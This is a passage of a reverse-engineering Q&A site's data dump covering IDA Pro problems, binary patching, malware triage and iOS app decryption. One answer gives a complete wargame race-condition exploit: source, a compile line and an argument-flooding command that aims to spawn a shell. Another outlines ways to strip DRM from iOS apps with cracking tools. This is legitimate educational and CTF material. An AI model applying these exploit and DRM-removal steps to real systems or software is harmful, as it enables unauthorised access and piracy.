href=&quot;https://camal.coseinc.com/publish/cluster_kryptik_one_not_detected.html&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://camal.coseinc.com/publish/cluster_infected_goodware.html&quot;&gt;here&lt;/a&gt;). If you prefer to read an Open Source approach for doing exactly this, I recommend you to take a look to &lt;a href=&quot;https://code.google.com/p/pyew/source/browse/gcluster.py&quot;&gt;GCluster&lt;/a&gt;. This is a command line based tool using the &lt;a href=&quot;https://code.google.com/p/pyew/&quot;&gt;Pyew&lt;/a&gt; API for clustering 2 or various unpacked malware files (PE and ELF executables) to determine how similar are them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use, as pointed out by @Mick, Yara signatures or fuzzy hashes based on the binary contents (bytes). However, they're likely going to create a big number of false positives (you're considering the bytes and finding for byte-streams, not comparing the structure of the executables as graph matching does).&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-04-17T08:06:40.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4091" PostTypeId="2" ParentId="4072" CreationDate="2014-04-17T14:31:56.533" Score="0" Body="&lt;p&gt;After putting more thorough thinking into this I decided to go with option 1 in joxeankoret's list. As the main focus of the fix is reordering some actions and the code is interspersed with debug logging calls I might get away with some pc relative short jumps overwriting the debug code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some additional info to extend joxeankoret's answer and my comment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One hardcore solution to the absolute address problem seems to be to completely &lt;a href=&quot;https://stackoverflow.com/questions/8545023/what-happens-if-i-delete-the-relocation-table-address-from-pe-header&quot;&gt;remove the relocation section&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possiblity is to use the &lt;a href=&quot;https://github.com/gta126/Relocation-Section-Editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Relocation Section Editor&lt;/a&gt; to manually edit/add/remove the relocations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding option 4, there seems to be the possibility to &lt;a href=&quot;https://stackoverflow.com/questions/3800873/is-import-address-table-of-pe-per-dll-or-per-exe&quot;&gt;edit the PE import address table&lt;/a&gt; to omit the LoadLibrary/GetProcAddress code.&lt;/p&gt;&#xA;" OwnerUserId="3353" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-04-17T14:31:56.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4092" PostTypeId="1" CreationDate="2014-04-17T17:04:19.217" Score="2" ViewCount="615" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rF0DW.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code of the functions is still valid but now the &lt;code&gt;_data&lt;/code&gt; segment keeps losing 6 bytes everytime I fix it by pressing &lt;code&gt;G&lt;/code&gt; going to &lt;code&gt;42A000&lt;/code&gt; fixing what it undoes then I scroll down a bit and scroll back up and I'll notice &lt;code&gt;42A000&lt;/code&gt; is completely gone when I go into Hex View I'll notice it doesn't show the 6 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also going bit lower I noticed my string started to get lost too when I started I had a bunch more strings then I have now the first string is cut half way with a bunch of fake assembly code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My strings keep disappearing one by one each time I work on re-factoring it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to re-position / move this string / constants information or maybe keep it blocked from being de-synced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats the cause of it? I checked all the functions I've edited they all start and end with the same addresses as a fresh original none re-factored load of the same file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a few pictures of the problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are the errors in the output that get generated as I scroll down.&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SE1Ng.png&quot; alt=&quot;0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it looks good when I use &lt;code&gt;G&lt;/code&gt; + &lt;code&gt;42A000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WvRoL.png&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what happens when I scroll a full screen view away from &lt;code&gt;42A000&lt;/code&gt; then come back 6 bytes are lost. I'd like to add that &lt;code&gt;align 800&lt;/code&gt; I've added it only had &lt;code&gt;align 1000&lt;/code&gt; but that's because there was a bunch of zero bytes there so I guess the &lt;code&gt;align&lt;/code&gt; just hides em for now I'll use them if I need to later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/inPYT.png&quot; alt=&quot;2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the Hex-View after a screw up, you can see the first 6 are not in use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pu3b4.png&quot; alt=&quot;3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see the first String is &lt;code&gt;Player leaving game %s',0AH, 0&lt;/code&gt; which isn't even on the strings of the Hex-View above that's how much strings are lost so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KKAyX.png&quot; alt=&quot;4&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you scroll down far enough then scroll back up it even makes more of a mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WpAug.png&quot; alt=&quot;5&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advise what I should do? I'll probably start from a fresh revision of the exe and slowly start fixing things up and looking at the bottom each time to see if anything messes up. Or is there a way to find out what screwed it up? or maybe a way to prevent further screws up in the future? to be honest I recall it screwed up on a fresh project as well just the first time it messed up it just kept undoing my changes with Keys &lt;code&gt;A&lt;/code&gt;'s and &lt;code&gt;O&lt;/code&gt;'s and &lt;code&gt;D&lt;/code&gt;'s&lt;/p&gt;&#xA;" OwnerUserId="3510" LastEditorUserId="3510" LastEditDate="2014-04-17T17:32:08.247" LastActivityDate="2014-05-18T02:18:03.867" Title="IDA PRO _data keeps getting misaligned lost bytes while scrolling down Can't find references (hint: redo analisys)" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4093" PostTypeId="2" ParentId="4092" CreationDate="2014-04-18T01:17:04.060" Score="1" Body="&lt;p&gt;&quot;redo analisys&quot;?  Why is a commercial product misspelling &quot;analysis&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suspect hardware or serious software problems.  Do you have unexpected computer crashes?  faulty memory?  corrupted disc structure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If none of those, and in the absence of any better advice I would reinstall IDA, check your hard drives, make sure you have sufficient RAM that is correctly configured in BIOS and check your IDA against a different project.&lt;/p&gt;&#xA;" OwnerUserId="4362" LastActivityDate="2014-04-18T01:17:04.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4096" PostTypeId="1" CreationDate="2014-04-18T10:11:59.700" Score="42" ViewCount="93403" Body="&lt;p&gt;I've been searching this site and more, but I haven't had much luck. I want to decompile an app to see how part of it works, and I've tried multiple programs. I've tried Hopper, IDA, and some other program that ended up not doing anything at all. Hopper and IDA both produce assembly code (I believe that's what it is, I'm not too familiar with reverse engineering and things like that) which gives me function names and produces un-readable code. I have IDA Pro with Hex-Rays included (Hex-Rays is supposedly a decompiler) but the Hex-Rays tab in IDA Pro is producing even more unreadable junk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA Pro:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y5kIO.png&quot; alt=&quot;IDA Pro&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used iFunBox to extract the app file from the IPA from my phone. I might be doing something wrong here, so if anyone has any experience decompiling apps or converting assembly code to human readable code, that'd be really nice and helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="4399" LastEditorUserId="12420" LastEditDate="2015-05-28T15:23:43.737" LastActivityDate="2018-09-24T17:30:23.543" Title="Decompiling iPhone App" Tags="|ida|disassembly|decompilation|ios|hexrays|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4097" PostTypeId="2" ParentId="3037" CreationDate="2014-04-18T12:20:30.857" Score="1" Body="&lt;p&gt;I'm not sure what you mean by verify if the code has been properly obfuscated, but you could do a simple differential analysis. Compile the source without proguard and identify the important code, and then look at that same code with proguard enabled. You already use some of the tools I use when analyzing Android apps. I would recommend using &lt;a href=&quot;http://code.google.com/p/dex2jar/&quot; rel=&quot;nofollow&quot;&gt;dex2jar&lt;/a&gt; in combination with &lt;a href=&quot;http://jd.benow.ca/&quot; rel=&quot;nofollow&quot;&gt;JD-GUI&lt;/a&gt; however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you have your apk file. Use dex2jar to extract the contents.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sh ~/android_re/dex2jar-0.0.9.15/d2j-dex2jar.sh ~/androidAPKs/myapp.apk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will generate a jar file for you. You open this jar file with JD-GUI and identify the location of the package and class you obfuscated. If youre able to find the name of that class, your obfuscation was not successful. This information should not be readily available the way you wrote the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as your .so file is concerned. It can be reversed using IDA pro and a hex editor.&#xA;I am actually in the middle of a research project on creating a technique to successfully add code functionality to the .so files. If my method works, I will be releasing this information publicly to the community. But right now, it requires some skill with ARM assembly. Another drawback is the fact that it is actually slightly difficult to add code since there aren't many empty locations to add useful code to in an elf shared object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have been able to successfully change some logic code in .so files consequently changing the apps behavior, so if you have some critical code, I would be mindful of that.&lt;/p&gt;&#xA;" OwnerUserId="1876" LastActivityDate="2014-04-18T12:20:30.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4098" PostTypeId="1" CreationDate="2014-04-18T13:58:01.453" Score="3" ViewCount="598" Body="&lt;p&gt;I have a number of shared libraries calling each other (&lt;code&gt;.so&lt;/code&gt;, ARM, Android), binary-only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add logging to some functions, &lt;code&gt;funcA()&lt;/code&gt;, ..., &lt;code&gt;funcZ()&lt;/code&gt; defined in &lt;code&gt;libsomething.so&lt;/code&gt;.&#xA;The functions are called from &lt;code&gt;libstuff1.so&lt;/code&gt;, ..., &lt;code&gt;libstuffN.so&lt;/code&gt;.&#xA;I can rename a function in the original library (keeping the name in the same bucket is a bit tricky, but possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add an extra library to the dependency list of the calling library, that is, &lt;code&gt;libstuff1.so&lt;/code&gt; originally referenced only &lt;code&gt;libsomething.so&lt;/code&gt;, and I want it to reference both &lt;code&gt;libsomething.so&lt;/code&gt; and &lt;code&gt;libOneMoreLib.so&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Or, add an extra function to existing library, e.g. in &lt;code&gt;libsomething.so&lt;/code&gt;, I rename &lt;code&gt;funcA()&lt;/code&gt; to &lt;code&gt;funbQ()&lt;/code&gt; and define (that is, add) &lt;code&gt;funcA()&lt;/code&gt; to print logs and call &lt;code&gt;funbQ()&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How can I do any of these?&lt;/p&gt;&#xA;" OwnerUserId="4398" LastEditorUserId="4398" LastEditDate="2014-04-21T06:57:50.483" LastActivityDate="2014-04-25T15:38:38.033" Title="Need to extend the list of libraries that a shared (.so) library uses" Tags="|linux|android|arm|libraries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4100" PostTypeId="2" ParentId="4096" CreationDate="2014-04-18T18:32:02.520" Score="47" Body="&lt;p&gt;iOS applications are protected by a Apple's DRM system. That system encrypts certain segment(s) of the application. The keys to that encryption are, as far as I know, unique per device or per device platform. I haven't spent much to with FairPlay so I don't know what the encryption keys are but I suspect it's either the &lt;a href=&quot;http://theiphonewiki.com/wiki/GID_Key&quot;&gt;GID key&lt;/a&gt; or the &lt;a href=&quot;http://theiphonewiki.com/wiki/UID-key&quot;&gt;UID key&lt;/a&gt;. I would suspect it's the latter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get the application decrypted you need a jailbroken device in order to run your own unsigned code on it. Be aware that jailbreaking your device may void your Apple warranty. There's generally three common methods of dumping the plaintext of an application, they all rely on the fact that an application must be decrypted by the loader when the application is loaded into memory. Two of them require you to install something like OpenSSH which is available via Cydia. You could go with anything that gives you a shell and is remotely accessible but SSH is nice, standard and also provides a good way of pulling and pushing binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beware of the fact that the default root password on all devices is &quot;alpine&quot; so make sure to change that. I would advice that, unless you really know what you're doing, keep your research device only on a local network and don't expose it to the Internet.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The easiest method is to use an application made for cracking applications, such as Crackulous or Clutch which will dump a decrypted version of the application for you. This method is simple but unreliable and uninteresting as it probably teaches you the least.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The second method is to use a debugger and either attach it to the application either after load or before. You then break the debugger and dump the code section of the application to flash. Then you stick this dump back into the encrypted application, overwriting the encrypted part. You might want to also update any encryption flags. This method teaches you more about what's going on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The third method is by far the best right now in my opinion. It consists of a dynamic library written by Stefan Esser called &lt;a href=&quot;https://github.com/stefanesser/dumpdecrypted&quot;&gt;DumpDecrypted&lt;/a&gt;. This library is added as a library which is forced into all created processes by the loader. On load the library dumps a decrypted version of the binary to flash for you. This method requires that you have the ability to build libraries for iOS which generally means you need the SDK. It only decrypts the part of FAT binaries that are loaded by the loader so you might get one or more code sections that remain encrypted but they should all perform the same functionality just for different platforms. This method is very reliable as the extra library is harder to spot by the application unless it's specifically looking for it. You can get around that by renaming the library and so on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once the application is decrypted on the device you can pull it back via the SSH server by using for example SCP or SFTP. Then you can start decompiling it using something like Hex-Rays ARM decompiler preferably or Hopper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://reverse.put.as/wp-content/uploads/2011/06/GreHack-2012-paper-Mathieu_Renard_-_Practical_iOS_Apps_hacking.pdf&quot;&gt;Here's&lt;/a&gt; a short paper on working with iOS applications. I think &lt;a href=&quot;http://dvlabs.tippingpoint.com/blog/2009/03/06/reverse-engineering-iphone-appstore-binaries&quot;&gt;Pedram Amini's old 2009 article&lt;/a&gt; is a good introduction to what's going on.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2014-04-18T19:11:31.773" LastActivityDate="2014-04-18T19:11:31.773" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4101" PostTypeId="1" AcceptedAnswerId="4102" CreationDate="2014-04-18T23:36:42.637" Score="1" ViewCount="370" Body="&lt;p&gt;I've been trying for the past week to solve a wargame - where I am given a program and need to find the correct input (usually malformed, malicious, or otherwise) to get it to execute code that I want. I've been struggling with the following problem and wanted to see if anyone here has advice or ideas to try.&#xA;The code is the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned long long passcode = 0xbadc0dedecadeull, code = 0, v;&#xA;int finished = 0;&#xA;&#xA;void* tryAllCodes(void* ptr) {&#xA;    char** codes = (char**) ptr;&#xA;&#xA;    while(*++codes) {&#xA;        printf(&quot;.&quot;);&#xA;        v = strtoull(*codes, 0, 16); // v is stored in ebx:ecx&#xA;        code = (v != passcode)? v : 0;&#xA;    }&#xA;&#xA;    finished = 1;&#xA;}&#xA;&#xA;&#xA;int main(int argc, char** argv) {&#xA;    char *args[] = { &quot;/bin/sh&quot;, 0};&#xA;    pthread_t t;&#xA;    pthread_create(&amp;amp;t, NULL, tryAllCodes, argv);&#xA;&#xA;    while(!finished)&#xA;        if(code == passcode) { // code is stored in ebx:ecx&#xA;            printf(&quot;Win!\n&quot;);&#xA;            execve(*args, args, 0);&#xA;        }&#xA;&#xA;    pthread_join(t, NULL);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe there is a race condition here because there is no mutex around the access to the variable code, and I've gotten it to happen by setting breakpoints in the tryAllCodes function with gdb and letting the main thread continue to run. I believe this was because the registers that v and code are stored in when checking their value are the same, so if the context jumps out of tryAllCodes with v set to passcode before it gets zeroized I enter the win block.&#xA;Unfortunately I need to get this same behavior without using a debugger - so my question is does my approach of exploiting a race condition seem correct, or is there something else I'm overlooking? If so, is there a way on linux to cause a thread to yield execution more often? I tried renice on the tryAllCodes thread but it seems to just cause to program to spin in the main loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a bunch&lt;/p&gt;&#xA;" OwnerUserId="4407" LastActivityDate="2014-04-19T16:07:29.557" Title="Help with identifying race condition in wargame" Tags="|exploit|vulnerability-analysis|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4102" PostTypeId="2" ParentId="4101" CreationDate="2014-04-19T09:16:45.543" Score="3" Body="&#xA;&#xA;&lt;p&gt;Hmm this code will probably not work if optimized because the shared globals are not pointers nor are they marked as volatile. This means that the compiler is free to assume the globals are accessed from one thread only so most likely the&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;while(!passcode)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;will be optimized to always be true and therefore result in an eternal loop. Really should mark this volatile if they're intended to be shared between threads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you're right about the race condition being what they expect you to exploit here. The key is to realize that the &lt;em&gt;read&lt;/em&gt; from &lt;em&gt;code&lt;/em&gt; happens in two instructions in the main thread and the &lt;em&gt;write&lt;/em&gt; to &lt;em&gt;code&lt;/em&gt; happens in two instructions in the spawned thread due to this being a 64 bit variable. So what you want to do is to hit it like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The spawned thread writes two 32 bit parts of &lt;em&gt;code&lt;/em&gt;. The lower 32 bits are equal to the lower 32 bits of &lt;em&gt;passcode&lt;/em&gt; while the upper aren't. &lt;/li&gt;&#xA;&lt;li&gt;The main thread then reads the lower 32 bit part of &lt;em&gt;code&lt;/em&gt; into a register.&lt;/li&gt;&#xA;&lt;li&gt;The spawned thread preempts (simply due to the processor being multicore), writes two 32 bit parts of &lt;em&gt;code&lt;/em&gt;. The lower 32 bits are not equal to the lower 32 bits of &lt;em&gt;passcode&lt;/em&gt; while the upper are.&lt;/li&gt;&#xA;&lt;li&gt;The main thread then reads the upper 32 bit part of &lt;em&gt;code&lt;/em&gt; into a register.&lt;/li&gt;&#xA;&lt;li&gt;This means that the main thread will have the 64 bit value of &lt;em&gt;passcode&lt;/em&gt; in its registers without that value being what's written by the spawned thread.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In order to do this you need a very very long argument list with values such that this condition can happen. Possibly generating a few competing processes for processor time to maximize preemption. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order of lower and upper bits being correct depend on the specifics of the machine code the threads are running. Which you probably know since I assume you have access to the binary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two load and store instructions are also likely to be positioned extremely close to each other so whether the exact sequence of events is likely to occur will be very dependent on the CPU architecture. It's possible that the instructions are seen as independent and scheduled on two different pipelines due to &lt;a href=&quot;https://en.wikipedia.org/wiki/Superscalar&quot; rel=&quot;nofollow&quot;&gt;superscalarity&lt;/a&gt;. This of course depends on how the CPU schedules loads and stores..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue seems much easier to exploit on a multicore system due to you not having to depend on super accurate preemption. It might also be harder to exploit on a 64 bit OS running a 32 bit process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this doesn't really matter because in the end all you can really do is throw a huge number of arguments at it and pray as far as I can see.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Spoilers&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As I was kind of curious under what conditions this was reliably exploitable I had to test some stuff. If you're doing the same, here's the fixed source and the exploit. This should allow you to do some local experimentation. Like I expected it seems to be extremely unlikely to hit a context switch at the right moment so on a single core CPU this is a nightmare. On a multicore CPU both threads are spinning in parallel so it's much more likely to hit the right conditions.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Code&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;pthread.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;&#xA;volatile unsigned long long passcode = 0xbadc0dedecadeull;&#xA;volatile unsigned long long code = 0;&#xA;volatile unsigned long long v;&#xA;volatile int finished = 0;&#xA;&#xA;void* tryAllCodes(void* ptr) {&#xA;    char** codes = (char**) ptr;&#xA;&#xA;    while(*++codes) {&#xA;        printf(&quot;.&quot;);&#xA;        v = strtoull(*codes, 0, 16); // v is stored in ebx:ecx&#xA;        code = (v != passcode)? v : 0;&#xA;    }&#xA;&#xA;    finished = 1;&#xA;    return 0;&#xA;}&#xA;&#xA;int main(int argc, char** argv) {&#xA;    char *args[] = { &quot;/bin/sh&quot;, 0};&#xA;    pthread_t t;&#xA;    pthread_create(&amp;amp;t, NULL, tryAllCodes, argv);&#xA;&#xA;    while(!finished)&#xA;        if(code == passcode) { // code is stored in ebx:ecx&#xA;            printf(&quot;Win!\n&quot;);&#xA;            execve(*args, args, 0);&#xA;        }&#xA;&#xA;    pthread_join(t, NULL);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Compile with&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -std=c99 -Wall -Wpedantic -pthread -m32 -O2 -o race race.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Exploit with&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./race `perl -e &quot;print 'dedecade badc000000000 'x90870&quot;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2014-04-19T16:07:29.557" LastActivityDate="2014-04-19T16:07:29.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4103" PostTypeId="1" AcceptedAnswerId="4105" CreationDate="2014-04-19T09:50:42.553" Score="2" ViewCount="907" Body="&lt;p&gt;I use the free version of IDA and I'm trying to define &lt;code&gt;structs&lt;/code&gt;. Unfortunately, I'm using Windows XP as a VM on OSX and am having trouble remapping &lt;kbd&gt;Insert&lt;/kbd&gt; to something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping someone has solved this before. Any hints on fixing this would be mega useful !&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="53" LastEditDate="2014-04-20T06:42:04.520" LastActivityDate="2014-04-20T06:43:08.803" Title="osx + IDA + virtualbox, keyboard mapping for &quot;Insert&quot;" Tags="|ida|osx|virtual-machines|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4104" PostTypeId="2" ParentId="4103" CreationDate="2014-04-19T16:57:06.243" Score="1" Body="&lt;p&gt;Not a real answer, because i don't know anything about OSX and key remapping from Mac's, but - do you realize you can define a new struct using the left top symbol button as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mDZ5x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The catch is, ida lets you drag the button bar anywhere on your screen where it might get hidden; if you do this accidentially, IDA gives you no hint at all about getting it back. So, in this case, there seems to be no way to define structs at all. Windows/Reset Desktop should fix it though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you knew about this, sorry about stealing your time, but if you asked the question because you had no way to define a new struct, it might still be helpful -- doesn't give you the convenience of a hotkey, but at least a way to define your structs.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-04-19T16:57:06.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4105" PostTypeId="2" ParentId="4103" CreationDate="2014-04-19T17:31:24.887" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;Edit -&amp;gt; Add struct type...&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;idagui.cfg&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;//      Keyboard hotkey definitions&#xA;//      ---------------------------&#xA;//&#xA;&#xA;&quot;ReloadFile&quot;            =       0               // Reload the same input file&#xA;[....] &#xA;&quot;AddStruct&quot;             =       &quot;Ins&quot;           // add struct type&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastEditorUserId="53" LastEditDate="2014-04-20T06:43:08.803" LastActivityDate="2014-04-20T06:43:08.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4106" PostTypeId="1" AcceptedAnswerId="4109" CreationDate="2014-04-19T21:38:17.213" Score="2" ViewCount="886" Body="&lt;p&gt;For fun I downloaded an installer from a &quot;driver downloads&quot; website.  I do NOT intend on installing it, but I was interested to check it out just to see what it looked like.  I tossed it into Ollydbg (without advancing the pointer) and just browsed the assembly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are multiple different calls/jumps/far jumps to various &lt;code&gt;ntdll.addr&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know &lt;code&gt;ntdll&lt;/code&gt; is a pretty low-level library, but I just don't have enough experience in windows x86 disassembly to know what's '&lt;em&gt;normal&lt;/em&gt;'.  This is also ostensibly, a driver installer, so it seems reasonable that there would be calls into &lt;code&gt;ntdll&lt;/code&gt;.  Are jumps like that considered normal behavior?  Usually I'm used to seeing calls that expressly name the function... not a specific address in &lt;code&gt;ntdll&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Extra detail/context&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The file wasn't packed, but there were a few spots where the full printable ASCII &lt;code&gt;[A-Za-z]&lt;/code&gt; appeared in the hex view, which I recall could be a sign that there's base64 encoding/decoding going on somewhere. Maybe shift-ciphers.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, the precise binary I'm peering into is &lt;a href=&quot;http://driverscollection.com/?H=GM-M7700&amp;amp;By=Gigabyte&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.  Windows 7 64bits.  (The installer itself appears to be 32bits... Ollydbg loaded it fine, and IDA free too.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PEBrowse64 also showed me something possibly suspicious under &lt;code&gt;Resources-&amp;gt;STRING-&amp;gt;4085&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this section there appears to be strings set aside for &lt;kbd&gt;Pageup&lt;/kbd&gt;/&lt;kbd&gt;Down&lt;/kbd&gt;/&lt;kbd&gt;Backspace&lt;/kbd&gt;/&lt;kbd&gt;Esc&lt;/kbd&gt;/&lt;kbd&gt;Enter&lt;/kbd&gt; keys, which I know could be a sign of a keylogger... but again, I'm new, so I'm unsure.  &lt;/p&gt;&#xA;" OwnerUserId="4053" LastEditorUserId="53" LastEditDate="2014-04-20T06:40:06.843" LastActivityDate="2014-04-20T06:40:06.843" Title="Are jump instructions targeting addresses in ntdll a sign of malware?" Tags="|disassembly|windows|malware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4107" PostTypeId="1" CreationDate="2014-04-19T22:36:10.620" Score="0" ViewCount="1055" Body="&lt;p&gt;For example, you want to use Ollydbg to reverse a binary that is injected using WriteProcessMemory and CreateRemoteThread.  How do you do this with ease?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I am setting a breakpoint on WriteProcessMemory on the injector.  Then I open the target with a new instance Ollydbg and set a breakpoint for when the written memory is accessed.  Is there an easier way?&lt;/p&gt;&#xA;" OwnerUserId="4411" LastActivityDate="2014-04-20T01:52:35.380" Title="What are best practices for reversing a dll that is injected into another process?" Tags="|ollydbg|winapi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
